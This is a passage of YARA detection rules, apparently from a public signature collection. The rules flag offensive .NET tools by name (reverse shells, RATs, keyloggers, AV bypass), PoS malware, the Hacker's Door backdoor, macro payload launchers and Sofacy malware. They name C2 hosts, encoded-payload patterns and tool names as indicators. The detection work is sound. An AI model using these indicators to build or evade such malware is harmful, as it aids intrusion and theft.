		id = "0fa01355-de57-573e-9056-0b7a5d24572d"

	strings:
		$name = "NativePayload_DNS2" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_AggressiveProxy
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/EncodeGroup/AggressiveProxy"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "e2d3c4e2-404b-59f8-b3d0-a7cef4dfd0ff"

	strings:
		$name = "AggressiveProxy" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_MSBuildAPICaller
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/rvrsh3ll/MSBuildAPICaller"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "143da57f-b01f-5688-b741-1bc4d06cd7d1"

	strings:
		$name = "MSBuildAPICaller" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_GrayKeylogger
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DarkSecDevelopers/GrayKeylogger"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "c63875b6-1701-5594-927e-833c25dc5d98"

	strings:
		$name = "GrayKeylogger" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_weevely3
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/epinna/weevely3"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "6bf766b6-d065-5a84-8258-3be448b9cbb8"

	strings:
		$name = "weevely3" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_FudgeC2
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/Ziconius/FudgeC2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "a8e70bce-76dd-53dc-9a19-1cc6795fdef3"

	strings:
		$name = "FudgeC2" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_NativePayload_Reverse_tcp
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_Reverse_tcp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "a6b935cc-adb6-5ff4-a832-1043e77292f7"

	strings:
		$name = "NativePayload_Reverse_tcp" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_SharpHose
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/ustayready/SharpHose"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "89b00eb0-f1a2-5c77-a5b0-2329b08aadb7"

	strings:
		$name = "SharpHose" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_RAT_NjRat_0_7d_modded_source_code
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/AliBawazeEer/RAT-NjRat-0.7d-modded-source-code"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "2b7d1f75-0164-561e-8199-32c601cbca98"

	strings:
		$name = "RAT-NjRat-0.7d-modded-source-code" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_RdpThief
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/0x09AL/RdpThief"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "5ad4feec-50db-5ebb-a609-9196e72a24aa"

	strings:
		$name = "RdpThief" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_RunasCs
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/antonioCoco/RunasCs"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "c5fc5b01-1d30-5af5-be99-e629cb23295b"

	strings:
		$name = "RunasCs" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_NativePayload_IP6DNS
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_IP6DNS"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "3b32b408-e71a-5f2a-ae6f-72a3d6572b71"

	strings:
		$name = "NativePayload_IP6DNS" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_NativePayload_ARP
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_ARP"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "9fac11f8-4e40-5cbc-a990-2ae48df20828"

	strings:
		$name = "NativePayload_ARP" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_C2Bridge
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/cobbr/C2Bridge"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "357051aa-61ea-5454-a996-b4e3a45ac865"

	strings:
		$name = "C2Bridge" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_Infrastructure_Assessment
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/NyaMeeEain/Infrastructure-Assessment"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "efacc12b-92b3-5b22-b5bb-cd5a7d7eea0e"

	strings:
		$name = "Infrastructure-Assessment" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_shellcodeTester
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/tophertimzen/shellcodeTester"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "964093a4-e6d7-51b7-928a-b1cd40dc11cc"

	strings:
		$name = "shellcodeTester" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_gray_hat_csharp_code
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/brandonprry/gray_hat_csharp_code"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "0a94cadc-cc7b-5817-8788-bb1e53937fad"

	strings:
		$name = "gray_hat_csharp_code" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_NativePayload_ReverseShell
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/DamonMohammadbagher/NativePayload_ReverseShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "eec77c09-02db-5d74-8526-e201d2fe6fc8"

	strings:
		$name = "NativePayload_ReverseShell" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_DotNetAVBypass
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/mandreko/DotNetAVBypass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "918eba2b-150d-5e69-bed0-0979ae889165"

	strings:
		$name = "DotNetAVBypass" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_HexyRunner
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/bao7uo/HexyRunner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "67741b4d-7336-5c88-8f2c-e48c10b187b9"

	strings:
		$name = "HexyRunner" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_SharpOffensiveShell
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/darkr4y/SharpOffensiveShell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "f223fb95-9f16-5504-a6ce-de9d75b38eaa"

	strings:
		$name = "SharpOffensiveShell" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_reconness
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/reconness/reconness"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "a30188e4-d96a-59d0-9f51-d7a7e07b14ba"

	strings:
		$name = "reconness" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_tvasion
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/loadenmb/tvasion"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "324cddc6-36d9-5670-827e-24e80dcc66a9"

	strings:
		$name = "tvasion" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_ibombshell
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/Telefonica/ibombshell"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "02f3272f-8e75-5df4-9052-a315ae202050"

	strings:
		$name = "ibombshell" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_RemoteProcessInjection
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/Mr-Un1k0d3r/RemoteProcessInjection"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "f1698cf2-211a-551a-8bc4-4faefcc6106f"

	strings:
		$name = "RemoteProcessInjection" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_CACTUSTORCH
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/mdsecactivebreach/CACTUSTORCH"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "7b1e3015-fada-592c-b120-20aa12247d32"

	strings:
		$name = "CACTUSTORCH" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_PandaSniper
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/QAX-A-Team/PandaSniper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "006400fb-7e6d-563b-ba78-17937983c9ba"

	strings:
		$name = "PandaSniper" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_xbapAppWhitelistBypassPOC
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/jpginc/xbapAppWhitelistBypassPOC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "b05253ce-cba4-531d-8f39-d8fae71b114d"

	strings:
		$name = "xbapAppWhitelistBypassPOC" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule HKTL_NET_NAME_StageStrike
{
	meta:
		description = "Detects .NET red/black-team tools via name"
		reference = "https://github.com/RedXRanger/StageStrike"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp"
		date = "2021-01-22"
		id = "e3f9de04-87f6-5b07-b5b0-a26167937fcc"

	strings:
		$name = "StageStrike" ascii wide
		$compile = "AssemblyTitle" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and all of them
}

rule PoS_Malware_MalumPOS
{
	meta:
		author = "Trend Micro, Inc."
		date = "2015-05-25"
		description = "Used to detect MalumPOS memory dumper"
		sample_filtype = "exe"
		id = "6d85c7fe-bf1b-53fb-b618-4b0f8b63cae4"

	strings:
		$string1 = "SOFTWARE\\Borland\\Delphi\\RTL"
		$string2 = "B)[0-9]{13,19}\\"
		$string3 = "[A-Za-z\\s]{0,30}\\/[A-Za-z\\s]{0,30}\\"
		$string4 = "TRegExpr(exec): ExecNext Without Exec[Pos]"
		$string5 = /Y:\\PROGRAMS\\.{20,300}\.pas/

	condition:
		all of ( $string* )
}

rule SUSP_SFX_RunProgram_WScript
{
	meta:
		description = "Detects suspicious SFX that runs wscript.exe"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2018-09-27"
		score = 75
		hash1 = "e3bb02c5985fc64759b9c2d3c5474d46237ce472b4a0101c6313dafa939de5a9"
		hash2 = "0ecf88d4b32895b4819dec3acb62eaaa7035aa6292499d903f76af60fcec0d6a"
		hash3 = "a7a48f5220bd1ebe04de258d71fdd001711c165d162bd45e8cfbe8964eddf01c"
		hash4 = "b6fa4889d8a87d45706d92714d716025bf223c01929755321faac1ab0db94a88"
		hash5 = "7117b39890659c7dd11e15092c5e5ea9495bec0ff2b6e25254f6e343ed6ca33d"
		hash6 = "ec2afb63555986fa55b7f98ae57c57e1138acb404a0dd2fe4f3d315730b9898e"
		id = "e12cea50-a939-5f69-963c-d6d1cb133e92"

	strings:
		$x1 = "RunProgram=\"wscript.exe" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 10000KB and 1 of them
}

rule gen_python_pyminifier_encoded_payload
{
	meta:
		description = "Detects python code encoded by pyminifier. Used by the Machete malware as researched by ESET"
		author = "John Lambert @JohnLaTwC"
		date = "2019-12-16"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf"
		reference2 = "https://github.com/liftoff/pyminifier"
		hash = "01df8765ea35db382d1dd67a502bf1d9647d8fe818ec31abff41c7e41c2816c0"
		hash = "15d201152a9465497a0f9dd6939e48315b358702c5e2a3c506ad436bb8816da7"
		hash = "ab91f76394ddf866cc0b315d862a19b57ded93be5dfc2dd0a81e6a43d0c5f301"
		hash = "b67256906d976aafb6071d23d1b3f59a1696f26b25ff4713b9342d41e656dfba"
		hash = "d5664c70f3543f306f765ea35e22829dbea66aec729e8e11edea9806d0255b7e"
		hash = "dd2b0e2c2cb8a83574248bda54ce472899b22eb602e8ebecafcce2c4355177fe"
		hash = "ed76bd136f40a23aeffe0aba02f13b9fea3428c19b715aafa6ea9be91e4006ca"
		hash = "b454179c13cb4727ae06cc9cd126c3379e2aded5c293af0234ac3312bf9bdad2"
		id = "d7297e6a-e1c7-57dd-a57f-a3b67face2f3"

	strings:
		$s1 = "exec(zlib.decompress(base64.b64decode('eJ"
		$s2 = "base64" fullword
		$s3 = "zlib" fullword

	condition:
		filesize < 20KB and uint32be( 0 ) == 0x696d706f and all of them
}

import "pe"

rule hkdoor_backdoor_dll
{
	meta:
		description = "Hacker's Door Backdoor DLL"
		author = "Cylance Inc."
		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
		id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"

	strings:
		$s1 = "The version of personal hacker's door server is" fullword ascii
		$s2 = "The connect back interval is %d (minutes)" fullword ascii
		$s3 = "I'mhackeryythac1977" fullword ascii
		$s4 = "Welcome to http://www.yythac.com" fullword ascii
		$s5 = "SeLoadDriverPrivilege" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 3 of ( $s* ) ) and pe.characteristics & pe.DLL and pe.imports ( "ws2_32.dll" , "WSAStartup" ) and pe.imports ( "ws2_32.dll" , "sendto" )
}

rule hkdoor_backdoor
{
	meta:
		description = "Hacker's Door Backdoor"
		author = "Cylance Inc."
		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
		id = "470e5d37-8a5a-500f-b9b9-245b8dc2c4d7"

	strings:
		$s1 = "http://www.yythac.com" fullword ascii
		$s2 = "Example:%s 192.168.1.100 139 -p yyt_hac -t 1" fullword ascii
		$s3 = "password-----------The hacker's door's password" fullword ascii
		$s4 = "It is the client of hacker's door %d.%d public version" fullword ascii
		$s5 = "hkdoordll.dll" fullword ascii
		$s6 = "http://www.yythac.com/images/mm.jpg" fullword ascii
		$s7 = "I'mhackeryythac1977" fullword ascii
		$s8 = "yythac.yeah.net" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and ( 4 of ( $s* ) )
}

import "pe"

rule hkdoor_dropper
{
	meta:
		description = "Hacker's Door Dropper"
		author = "Cylance Inc."
		date = "2018-01-01"
		modified = "2023-01-07"
		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
		id = "8c8171b9-6256-591a-8f74-abac1cb9a50b"

	strings:
		$s1 = "The version of personal hacker's door server is" fullword ascii
		$s2 = "The connect back interval is %d (minutes)" fullword ascii
		$s3 = "I'mhackeryythac1977" fullword ascii
		$s4 = "Welcome to http://www.yythac.com" fullword ascii
		$s5 = "SeLoadDriverPrivilege" fullword ascii
		$s6 = "\\drivers\\ntfs.sys" ascii
		$s7 = "kifes" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1000KB and ( 4 of ( $s* ) ) and pe.number_of_resources > 0 and for any i in ( 0 .. pe.number_of_resources - 1 ) : ( pe.resources [ i ] . type_string == "B\x00I\x00N\x00" and uint16( pe.resources [ i ] . offset ) == 0x5A4D ) and pe.imports ( "KERNEL32.dll" , "FindResourceW" ) and pe.imports ( "KERNEL32.dll" , "LoadResource" )
}

import "pe"

rule hkdoor_driver
{
	meta:
		description = "Hacker's Door Driver"
		author = "Cylance Inc."
		date = "2018-01-01"
		modified = "2023-01-07"
		reference = "https://www.cylance.com/en_us/blog/threat-spotlight-opening-hackers-door.html"
		id = "50b763a9-6d4f-59dd-ba6c-27e2ae117523"

	strings:
		$s1 = "ipfltdrv.sys" fullword ascii
		$s2 = "Patch Success." fullword ascii
		$s3 = "\\DosDevices\\kifes" ascii
		$s4 = "\\Device\\kifes" ascii
		$s5 = {75 28 22 36 30 5b 4a 77 7b 58 4d 6c 3f 73 63 5e 38 47 7c 7d 7a 40 3a 41 2a 45 4e 44 79 64 67 6d 65 74 21 39 23 3c 20 49 43 69 4c 3b 31 57 2f 55 3e 26 59 62 61 54 53 5a 2d 25 78 35 5c 76 3d 34 27 6b 5f 72 2c 32 4f 2b 71 66 42 33 37 56 52 60 5d 29 4b 51 2e 6f 50 68 6e 6a 24 48 7e 46 70}

	condition:
		uint16( 0 ) == 0x5a4d and pe.subsystem == pe.SUBSYSTEM_NATIVE and ( 4 of ( $s* ) )
}

rule gen_macro_ShellExecute_action
{
	meta:
		description = "VBA macro technique to call ShellExecute to launch payload"
		note = "This rule only works on VT or systems that perform macro subfile extraction"
		author = "John Lambert @JohnLaTwC"
		date = "2019-01-08"
		reference = "https://twitter.com/StanHacked/status/1075088449768693762"
		hash1 = "0878eec9ecae493659e42c1d87588573c1e6fc30acf7a59e6fdb5296b1c198ef"
		hash2 = "a0963ac15339c9803b4355fd71b68bf6ddedad960d5b3ad40bae873263470191"
		hash3 = "dd094e44a817604596d1ab06ca6e9597d49ca0a2cbe9239c73ceaad70265ec2a"
		hash4 = "7b9094ea41e89379c7048ef784ef494c4597ea0d31b707dcb9c8495f241f5fb0"
		hash5 = "35d8242726b905882bbfcf2770f84cb6f40552e76bff8fb0082ca10de3d61e54"
		hash6 = "bf9ff20d814bf21d46a22abbd7a8ad0276145807f9adf8d2787df9e3fce3f35d"
		hash7 = "77966004fcbff147f6923b3405ad9ad4e1dda42d0931564d0cdc4c7e1c91106a"
		reference_hash8 = "https://twitter.com/ItsReallyNick/status/1091170625698316288"
		hash8 = "c77c8033a1e5f694fa119dd7f78811f6015726822121b9414fc01e7de8770447"
		id = "4ae3d3d9-de4a-5c5c-9a4a-bedc80b576be"

	strings:
		$com1a = "00A0C91F3880"
		$com1b = "C08AFD90"
		$com2a = "00A0C90A8F39"
		$com2b = "9BA05972"
		$s3 = "ShellExecute" fullword
		$s4 = "GetObject" fullword

	condition:
		filesize < 1MB and ( uint32be( 0 ) == 0x41747472 or uint32be( 0 ) == 0x61747472 or uint32be( 0 ) == 0x41545452 ) and all of ( $s* ) and ( all of ( $com1* ) or all of ( $com2* ) )
}

rule apt_sofacy_xtunnel
{
	meta:
		author = "Claudio Guarnieri"
		description = "Sofacy Malware - German Bundestag"
		score = 75
		id = "aef091b5-cedf-5443-ab61-8b2dbc7e77fd"

	strings:
		$xaps = ":\\PROJECT\\XAPS_"
		$variant11 = "XAPS_OBJECTIVE.dll"
		$variant12 = "start"
		$variant21 = "User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0"
		$variant22 = "is you live?"
		$mix1 = "176.31.112.10"
		$mix2 = "error in select, errno %d"
		$mix3 = "no msg"
		$mix4 = "is you live?"
		$mix5 = "127.0.0.1"
		$mix6 = "err %d"
		$mix7 = "i`m wait"
		$mix8 = "hello"
		$mix9 = "OpenSSL 1.0.1e 11 Feb 2013"
		$mix10 = "Xtunnel.exe"

	condition:
		(( uint16( 0 ) == 0x5A4D ) or ( uint16( 0 ) == 0xCFD0 ) ) and ( ( $xaps ) or ( all of ( $variant1* ) ) or ( all of ( $variant2* ) ) or ( 6 of ( $mix* ) ) )
}

import "pe"

rule Winexe_RemoteExec
{
	meta:
		description = "Winexe tool for remote execution (also used by Sofacy group)"
		author = "Florian Roth (Nextron Systems), Robert Simmons"
		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
		date = "2015-06-19"
		modified = "2021-02-11"
		hash1 = "5130f600cd9a9cdc82d4bad938b20cbd2f699aadb76e7f3f1a93602330d9997d"
		hash2 = "d19dfdbe747e090c5aa2a70cc10d081ac1aa88f360c3f378288a3651632c4429"
		score = 70
		id = "5079557a-0461-5b04-b0f2-4265bf7ec041"

	strings:
		$s1 = "error Cannot LogonUser(%s,%s,%s) %d" ascii fullword
		$s2 = "error Cannot ImpersonateNamedPipeClient %d" ascii fullword
		$s3 = "\\\\.\\pipe\\ahexec" fullword ascii
		$s4 = "\\\\.\\pipe\\wmcex" fullword ascii
		$s5 = "implevel" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 115KB and ( 3 of them or pe.imphash ( ) == "2f8a475933ac82b8e09eaf26b396b54d" )
}

rule Sofacy_Mal2
{
	meta:
		description = "Sofacy Group Malware Sample 2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
		date = "2015-06-19"
		hash = "566ab945f61be016bfd9e83cc1b64f783b9b8deb891e6d504d3442bc8281b092"
		score = 70
		id = "1547cc67-7d7c-5ec9-816c-15b7d523376a"

	strings:
		$x1 = "PROJECT\\XAPS_OBJECTIVE_DLL\\" ascii
		$x2 = "XAPS_OBJECTIVE.dll" fullword ascii
		$s1 = "i`m wait" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and ( 1 of ( $x* ) ) and $s1
}

rule Sofacy_Mal3
{
	meta:
		description = "Sofacy Group Malware Sample 3"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
		date = "2015-06-19"
		modified = "2023-01-06"
		hash = "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1"
		score = 70
		id = "67d002ef-4ed9-54ce-a6ef-49b7f3b951e2"

	strings:
		$s1 = "shell\\open\\command=\"System Volume Information\\USBGuard.exe\" install" fullword ascii
		$s2 = ".?AVAgentModuleRemoteKeyLogger@@" fullword ascii
		$s3 = "<font size=4 color=red>process isn't exist</font>" fullword ascii
		$s4 = "<font size=4 color=red>process is exist</font>" fullword ascii
		$s5 = ".winnt.check-fix.com" ascii
		$s6 = ".update.adobeincorp.com" ascii
		$s7 = ".microsoft.checkwinframe.com" ascii
		$s8 = "adobeincorp.com" fullword wide
		$s9 = "# EXC: HttpSender - Cannot create Get Channel!" fullword ascii
		$x1 = "User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/" wide
		$x2 = "User-Agent: Mozilla/5.0 (Windows NT 6.; WOW64; rv:20.0) Gecko/20100101 Firefox/2" wide
		$x3 = "C:\\Windows\\System32\\cmd.exe" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( 2 of ( $s* ) or ( 1 of ( $s* ) and all of ( $x* ) ) )
}

rule Sofacy_Bundestag_Batch
{
	meta:
		description = "Sofacy Bundestags APT Batch Script"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://dokumente.linksfraktion.de/inhalt/report-orig.pdf"
		date = "2015-06-19"
		score = 70
		id = "869dafec-1387-5640-b608-b84cf0d43342"

	strings:
